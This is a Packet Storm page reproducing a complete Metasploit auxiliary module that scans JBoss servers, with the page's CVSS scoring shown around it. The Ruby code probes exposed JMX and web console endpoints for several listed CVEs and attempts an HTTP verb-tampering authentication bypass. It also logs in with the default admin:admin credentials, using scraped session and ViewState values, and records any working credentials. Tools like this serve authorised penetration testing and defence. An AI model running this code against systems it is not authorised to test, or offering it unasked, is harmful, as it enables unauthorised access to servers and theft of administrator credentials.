Lucene search

K
packetstormZach Grace, Tyler Krpata, metasploit.comPACKETSTORM:181026
HistorySep 01, 2024 - 12:00 a.m.

JBoss Scanner

2024-09-0100:00:00
Zach Grace, Tyler Krpata, metasploit.com
packetstormsecurity.com
27
jboss
vulnerability
scanner
jmx-console
web console
info disclosure
auth bypass
deserialization
default credentials

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.2

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'JBoss Vulnerability Scanner',  
'Description' => %q(  
This module scans a JBoss instance for a few vulnerabilities.  
),  
'Author' =>  
[  
'Tyler Krpata',  
'Zach Grace <@ztgrace>'  
],  
'References' =>  
[  
[ 'CVE', '2008-3273' ], # info disclosure via unauthenticated access to "/status"  
[ 'CVE', '2010-1429' ], # info disclosure via unauthenticated access to "/status" (regression)  
[ 'CVE', '2010-0738' ], # VERB auth bypass on "JMX-Console": /jmx-console/  
[ 'CVE', '2010-1428' ], # VERB auth bypass on "Web Console": /web-console/  
[ 'CVE', '2017-12149' ] # deserialization: "/invoker/readonly"  
],  
'License' => BSD_LICENSE  
))  
  
register_options(  
[  
OptString.new('VERB', [ true, "Verb for auth bypass testing", "HEAD"])  
])  
end  
  
def run_host(ip)  
res = send_request_cgi(  
{  
'uri' => "/" + Rex::Text.rand_text_alpha(12),  
'method' => 'GET',  
'ctype' => 'text/plain'  
})  
  
if res  
  
info = http_fingerprint(:response => res)  
print_status("#{rhost}:#{rport} Fingerprint: #{info}")  
  
if res.body && />(JBoss[^<]+)/.match(res.body)  
print_error("#{rhost}:#{rport} JBoss error message: #{$1}")  
end  
  
apps = [  
'/jmx-console/HtmlAdaptor',  
'/jmx-console/checkJNDI.jsp',  
'/status',  
'/web-console/ServerInfo.jsp',  
# apps added per Patrick Hof  
'/web-console/Invoker',  
'/invoker/JMXInvokerServlet',  
'/invoker/readonly'  
]  
  
print_status("#{rhost}:#{rport} Checking http...")  
apps.each do |app|  
check_app(app)  
end  
  
jboss_as_default_creds  
  
ports = {  
# 1098i, 1099, and 4444 needed to use twiddle  
1098 => 'Naming Service',  
1099 => 'Naming Service',  
4444 => 'RMI invoker'  
}  
print_status("#{rhost}:#{rport} Checking services...")  
ports.each do |port, service|  
status = test_connection(ip, port) == :up ? "open" : "closed"  
print_status("#{rhost}:#{rport} #{service} tcp/#{port}: #{status}")  
end  
end  
end  
  
def check_app(app)  
res = send_request_cgi({  
'uri' => app,  
'method' => 'GET',  
'ctype' => 'text/plain'  
})  
  
  
  
unless res  
print_status("#{rhost}:#{rport} #{app} not found")  
return  
end  
  
case  
when res.code == 200  
print_good("#{rhost}:#{rport} #{app} does not require authentication (200)")  
when res.code == 403  
print_status("#{rhost}:#{rport} #{app} restricted (403)")  
when res.code == 401  
print_status("#{rhost}:#{rport} #{app} requires authentication (401): #{res.headers['WWW-Authenticate']}")  
bypass_auth(app)  
basic_auth_default_creds(app)  
when res.code == 404  
print_status("#{rhost}:#{rport} #{app} not found (404)")  
when res.code == 301, res.code == 302  
print_status("#{rhost}:#{rport} #{app} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")  
when res.code == 500 && app == "/invoker/readonly"  
print_good("#{rhost}:#{rport} #{app} responded (#{res.code})")  
else  
print_status("#{rhost}:#{rport} Don't know how to handle response code #{res.code}")  
end  
end  
  
def jboss_as_default_creds  
print_status("#{rhost}:#{rport} Checking for JBoss AS default creds")  
  
session = jboss_as_session_setup(rhost, rport)  
return false if session.nil?  
  
# Default AS creds  
username = 'admin'  
password = 'admin'  
  
res = send_request_raw({  
'uri' => '/admin-console/login.seam',  
'method' => 'POST',  
'version' => '1.1',  
'vhost' => "#{rhost}",  
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded',  
'Cookie' => "JSESSIONID=#{session['jsessionid']}"  
},  
'data' => "login_form=login_form&login_form%3Aname=#{username}&login_form%3Apassword=#{password}&login_form%3Asubmit=Login&javax.faces.ViewState=#{session["viewstate"]}"  
})  
  
# Valid creds if 302 redirected to summary.seam and not error.seam  
if res && res.code == 302 && res.headers.to_s !~ /error.seam/m && res.headers.to_s =~ /summary.seam/m  
print_good("#{rhost}:#{rport} Authenticated using #{username}:#{password} at /admin-console/")  
add_creds(username, password)  
else  
print_status("#{rhost}:#{rport} Could not guess admin credentials")  
end  
end  
  
def add_creds(username, password)  
service_data = {  
address: rhost,  
port: rport,  
service_name: 'jboss',  
protocol: 'tcp',  
workspace_id: framework.db.workspace.id  
}  
  
credential_data = {  
module_fullname: self.fullname,  
origin_type: :service,  
private_data: password,  
private_type: :password,  
username: username  
}.merge(service_data)  
  
credential_core = create_credential(credential_data)  
credential_data[:core] = credential_core  
create_credential_login(credential_data)  
end  
  
def jboss_as_session_setup(rhost, rport)  
res = send_request_raw({  
'uri' => '/admin-console/login.seam',  
'method' => 'GET',  
'version' => '1.1',  
'vhost' => "#{rhost}"  
})  
  
unless res  
return nil  
end  
  
begin  
viewstate = /javax.faces.ViewState" value="(.*)" auto/.match(res.body).captures[0]  
jsessionid = /JSESSIONID=(.*);/.match(res.headers.to_s).captures[0]  
rescue ::NoMethodError  
print_status("#{rhost}:#{rport} Could not guess admin credentials")  
return nil  
end  
  
{ 'jsessionid' => jsessionid, 'viewstate' => viewstate }  
end  
  
def bypass_auth(app)  
print_status("#{rhost}:#{rport} Check for verb tampering (#{datastore['VERB']})")  
  
res = send_request_raw({  
'uri' => app,  
'method' => datastore['VERB'],  
'version' => '1.0' # 1.1 makes the head request wait on timeout for some reason  
})  
  
if res && res.code == 200  
print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering at #{app}")  
else  
print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")  
end  
end  
  
def basic_auth_default_creds(app)  
res = send_request_cgi({  
'uri' => app,  
'method' => 'GET',  
'ctype' => 'text/plain',  
'authorization' => basic_auth('admin', 'admin')  
})  
  
if res && res.code == 200  
print_good("#{rhost}:#{rport} Authenticated using admin:admin at #{app}")  
add_creds("admin", "admin")  
else  
print_status("#{rhost}:#{rport} Could not guess admin credentials")  
end  
end  
  
# function stole'd from mssql_ping  
def test_connection(ip, port)  
begin  
sock = Rex::Socket::Tcp.create(  
'PeerHost' => ip,  
'PeerPort' => port,  
'Timeout' => 20  
)  
rescue Rex::ConnectionError  
return :down  
end  
sock.close  
return :up  
end  
end  
`

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

7.2

Confidence

Low